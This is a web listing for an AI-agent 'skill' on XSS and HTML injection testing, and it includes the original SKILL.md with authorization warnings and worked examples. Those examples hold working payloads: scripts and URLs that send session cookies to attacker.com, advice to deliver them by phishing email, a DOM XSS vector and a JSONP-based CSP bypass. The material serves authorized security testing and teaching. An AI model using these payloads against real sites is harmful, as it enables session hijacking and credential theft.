xss-html-injection
Assesses code injection vulnerabilities (XSS, HTML) in web applications and demonstrates how to exploit them.
What it does
This tool helps check if websites have security flaws that allow attackers to steal information or control a user's account. It simulates common attacks to find these vulnerabilities.
When to use it
- ✓To test the security of a website you have permission to analyze.
- ✓To learn how security flaws work in a controlled environment.
- ✓To check if a website's defenses against attacks are working correctly.
Example of what to ask your AI
“I want to check if the website 'example.com' has XSS and HTML injection flaws.”
Want more? Open the sections below.
How to use
The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.
Skill link
Ready-to-paste message
How it works
The tool sends disguised malicious code to the website and observes how it reacts. If the website displays or executes the code, it might have a security vulnerability.
Installation
Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.
In the terminal (Claude Code, Codex, Cursor), in your project folder:
npx skills add sickn33/agentic-awesome-skills --skill xss-html-injectionOr download just the file:
curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/xss-html-injection/SKILL.md -o SKILL.mdTechnical content (original SKILL.md)
Original text by the author, straight from GitHub.
⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.
Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
- Ask the user to state the exact target URL, IP, account, or resource.
- Ask the user to confirm written authorization and the permitted scope.
- Show the exact command(s) and explain their expected effect.
- Wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
Cross-Site Scripting and HTML Injection Testing
Detailed Guide
Read the detailed guide before executing this skill. It retains the complete procedure and reference material. Treat its safety, prerequisites, and validation requirements as mandatory. For focused work, load the relevant sections; for end-to-end work, read the guide completely.
Constraints and Guardrails
Operational Boundaries
- Never inject payloads that could damage production systems
- Limit cookie/session capture to demonstration purposes only
- Avoid payloads that could spread to unintended users (worm behavior)
- Do not exfiltrate real user data beyond scope requirements
Technical Limitations
- Content Security Policy (CSP) may block inline scripts
- HttpOnly cookies prevent JavaScript access
- SameSite cookie attributes limit cross-origin attacks
- Modern frameworks often auto-escape outputs
Legal and Ethical Requirements
- Written authorization required before testing
- Report critical XSS vulnerabilities immediately
- Handle captured credentials per data protection agreements
- Do not use discovered vulnerabilities for unauthorized access
Examples
Example 1: Stored XSS in Comment Section
Scenario: Blog comment feature vulnerable to stored XSS
Detection:
POST /api/comments
Content-Type: application/json
{"body": "<script>alert('XSS')</script>", "postId": 123}
Observation: Comment renders and script executes for all viewers
Exploitation Payload:
<script>
var i = new Image();
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>
Result: Every user viewing the comment has their session cookie sent to attacker's server.
Example 2: Reflected XSS via Search Parameter
Scenario: Search results page reflects query without encoding
Vulnerable URL:
https://shop.example.com/search?q=test
Detection Test:
https://shop.example.com/search?q=<script>alert(document.domain)</script>
Crafted Attack URL:
https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E
Delivery: URL sent via phishing email to target user.
Example 3: DOM-Based XSS via Hash Fragment
Scenario: JavaScript reads URL hash and inserts into DOM
Vulnerable Code:
document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);
Attack URL:
https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>
Result: Script executes entirely client-side; payload never touches server.
Example 4: CSP Bypass via JSONP Endpoint
Scenario: Site has CSP but allows trusted CDN
CSP Header:
Content-Security-Policy: script-src 'self' https://cdn.trusted.com
Bypass: Find JSONP endpoint on trusted domain:
<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>
Result: CSP bypassed using allowed script source.
When to Use
This skill is applicable to execute the workflow or actions described in the overview.
FAQ
What is XSS?
XSS (Cross-Site Scripting) is a type of attack where an attacker injects malicious scripts into trusted websites, which are then executed in other users' browsers.
What is HTML injection?
HTML injection is an attack where an attacker inserts HTML code into a web page, altering its content or behavior for malicious purposes.
Do I need permission to use this tool?
Yes, it is crucial to have explicit, written permission from the website owner before conducting any tests. Using this tool without authorization is illegal.
Details
Original description by the author
Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms.
Popularity
- GitHub stars
- 48k
- Ranking position
- #4604
- License
- MIT
- Updated
- 10/15/2026
Comments
- …
More skills from this repository
00-andruia-consultant
Helps your agent start or improve AI projects. It analyzes code, suggests tools, and creates action plans in Spanish.
sickn33/agentic-awesome-skills
007
Lets your agent perform security audits and threat modeling. It's useful for protecting projects against attacks and vulnerabilities.
sickn33/agentic-awesome-skills
10-andruia-skill-smith
Helps your agent create or improve AI tools. It defines how tools work, writes documentation, and validates the structure.
sickn33/agentic-awesome-skills
20-andruia-niche-intelligence
Lets your agent create a summary about a specific industry. It's useful for understanding the context, rules, usage patterns, and risks of a project, using reliable sources.
sickn33/agentic-awesome-skills
Similar skills
django-security
Helps your agent implement security practices in Django applications. It focuses on authentication, authorization, and prevention against common attacks, ensuring more secure code.
affaan-m/ECC
laravel-security
Helps your agent secure Laravel applications against threats. Implements security practices for authentication, authorization, and common attack prevention.
affaan-m/ECC
module-regression
Helps your agent manage changes in large projects. Ensures code changes in one part don't break other parts.
affaan-m/ECC